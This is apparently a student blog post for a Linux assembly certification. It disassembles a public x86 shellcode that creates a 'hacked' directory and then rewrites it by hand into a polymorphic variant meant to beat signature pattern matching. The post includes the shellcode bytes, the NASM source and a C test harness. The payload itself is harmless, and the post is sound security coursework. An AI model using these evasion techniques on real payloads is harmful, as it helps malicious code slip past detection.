INTRODUCTION
This tutorial is part of the SecurityTube Linux Assembly Expert certification.
The goal of this assignment is to take and x86/Linux shellcode sample from http://shell-storm.org/shellcode/ and create a polymorphic version of it to beat pattern matching. The polymorphic version cannot be larger than 150% of the existing shellcode.
For this blog post I will specifically focus on ‘Linux/x86 – mkdir() & exit() – 36 bytes by zillion’.
The tutorial will contain example source with comments. Listed source code may have formatting issues so best place to obtain copies is from the project’s Github repo. This assignment will build from the previous assignments and so will not be reiterating explanations already covered there.
Methodology
- Obtain a copy of the shellcode to verify its functionality
- Disassemble the shellcode
- Create a polymorphic version
- Test the new version
Background
Quote Wikipedia.
“In computer terminology, polymorphic code is code that uses a polymorphic engine to mutate while keeping the original algorithm intact. That is, the code changes itself each time it runs, but the function of the code (its semantics) will not change at all. For example, 1+3 and 6-2 both achieve the same result while using different code. This technique is sometimes used by computer viruses, shellcodes and computer worms to hide their presence.”
For this assignment we will not be using any polymorphic engines but will go through the a manual process.
Let’s obtain a copy of the shellcode bytes at http://shell-storm.org/shellcode/files/shellcode-542.php and paste into our c template
#include<stdio.h> #include<string.h> unsigned char code[] = "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23"; main() { printf("Shellcode Length: %d\n", sizeof(code)-1); int (*ret)() = (int(*)())code; ret(); }
So the shellcode will make a directory called ‘hacked’
Let’s try it out.
First compile
$ gcc -o ./mkdir_shellcode_skeleton mkdir_shellcode_skeleton.c -fno-stack-protector -z execstack
and run. Normally you should disassemble and then run to ensure the shellcode doesn’t cause trouble. ;)
$ ls -la hacked ls: cannot access hacked: No such file or directory $ ./mkdir_shellcode_skeleton Shellcode Length: 36 $ ls -la drwxr-xr-x 2 remote remote 4096 Jun 10 01:54 hacked
There we have a directory called hacked.
Disassemble the shellcode by extracting the shellcode bytes from the c template code and running through ndisasm
$ echo -ne "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23"| ndisasm -b 32 -a -
00000000 EB16 jmp short 0x18
00000002 5E pop esi
00000003 31C0 xor eax,eax
00000005 884606 mov [esi+0x6],al
00000008 B027 mov al,0x27
0000000A 8D1E lea ebx,[esi]
0000000C 66B9ED01 mov cx,0x1ed
00000010 CD80 int 0x80
00000012 B001 mov al,0x1
00000014 31DB xor ebx,ebx
00000016 CD80 int 0x80
00000018 E8E5FFFFFF call dword 0x2
0000001D 6861636B65 push dword 0x656b6361
00000022 64 fs
00000023 23 db 0x23
Polymorphic version
Let’s compare the original shellcode to our new polymorphic version
Original
global _start section .text _start: jmp short Label1 Label2: pop esi ; Store address of new dir name 'hacked' xor eax,eax mov [esi+0x6],al ;syscall mkdir() 0x27 mov al,0x27 lea ebx,[esi] ; Load address of new dir name 'hacked' mov cx,0x1ed ; new dir mode 0x1ed = 755 octal int 0x80 ;syscall exit() 0x01 mov al,0x1 xor ebx,ebx int 0x80 Label1: call Label2 hacked: db 0x68,0x61,0x63,0x6B,0x65,0x64
Polymorphic version
;; mkdir_poly_shellcode.nasm ; Author: Mutti K ; Purpose: Demonstrate polymorphic version of mkdir shellcode. global _start section .text _start: jmp short Label1 Label2: pop esi ; Store address of new dir name 'hacked' xor edx,edx mov eax,0x1e mov ecx, 0x5 div ecx ; equates to 30 / 5 = 6, EAX = 6 mov [esi+eax],edx ; null terminate string 'hacked' ;syscall mkdir() 0x27 mul eax ; eax already has 0x6 and we just 6*6 = 36d add eax, 0x2 ; +2 inc eax ; + 1 and eax = 39d = 0x27 lea ebx,[esi] ; Load address of new dir name 'hacked' mov cx,0x1ed ; new dir mode 0x1ed = 755 octal int 0x80 ; mkdir returns eax=0x0 on success ;syscall exit() 0x01 inc eax ; lets assume we had success and eax = 0 xor ebx,ebx int 0x80 Label1: call Label2 hacked: db 0x68,0x61,0x63,0x6B,0x65,0x64
The comments should explain the changes.
Test
Let’s assemble and link
$ nasm -f elf32 -o mkdir_poly_shellcode.o mkdir_poly_shellcode.nasm $ ld -o mkdir_poly_shellcode mkdir_poly_shellcode.o
Object dump bytes
$ for i in `objdump -d mkdir_poly_shellcode | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done \xeb\x25\x5e\x31\xd2\xb8\x1e\x00\x00\x00\xb9\x05\x00\x00\x00\xf7\xf1\x89\x14\x06\xf7\xe0\x83\xc0\x02\x40\x8d\x1e\x66\xb9\xed\x01\xcd\x80\x40\x31\xdb\xcd\x80\xe8\xd6\xff\xff\xff\x68\x61\x63\x6b\x65\x64
Paste bytes into shellcode skeleton
#include<stdio.h> #include<string.h> /* mkdir called 'hacked' shellcode */ unsigned char code[] = "\xeb\x25\x5e\x31\xd2\xb8\x1e\x00\x00\x00\xb9\x05\x00\x00\x00\xf7\xf1\x89\x14\x06\xf7\xe0\x83\xc0\x02\x40\x8d\x1e\x66\xb9\xed\x01\xcd\x80\x40\x31\xdb\xcd\x80\xe8\xd6\xff\xff\xff\x68\x61\x63\x6b\x65\x64"; main() { printf("Shellcode Length: %d\n", sizeof(code)-1); int (*ret)() = (int(*)())code; ret(); }
Compile
$ gcc -o ./mkdir_shellcode_skeleton mkdir_shellcode_skeleton.c -fno-stack-protector -z execstack
Delete existing hacked directory and run
$ rmdir hacked/ $ ./mkdir_poly_shellcode_skeleton Shellcode Length: 50 $ ls -la drwxr-xr-x 2 remote remote 4096 Jun 10 04:24 hacked
It worked.
Shellcode size went from 36 to 50 bytes.
Thank you
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-473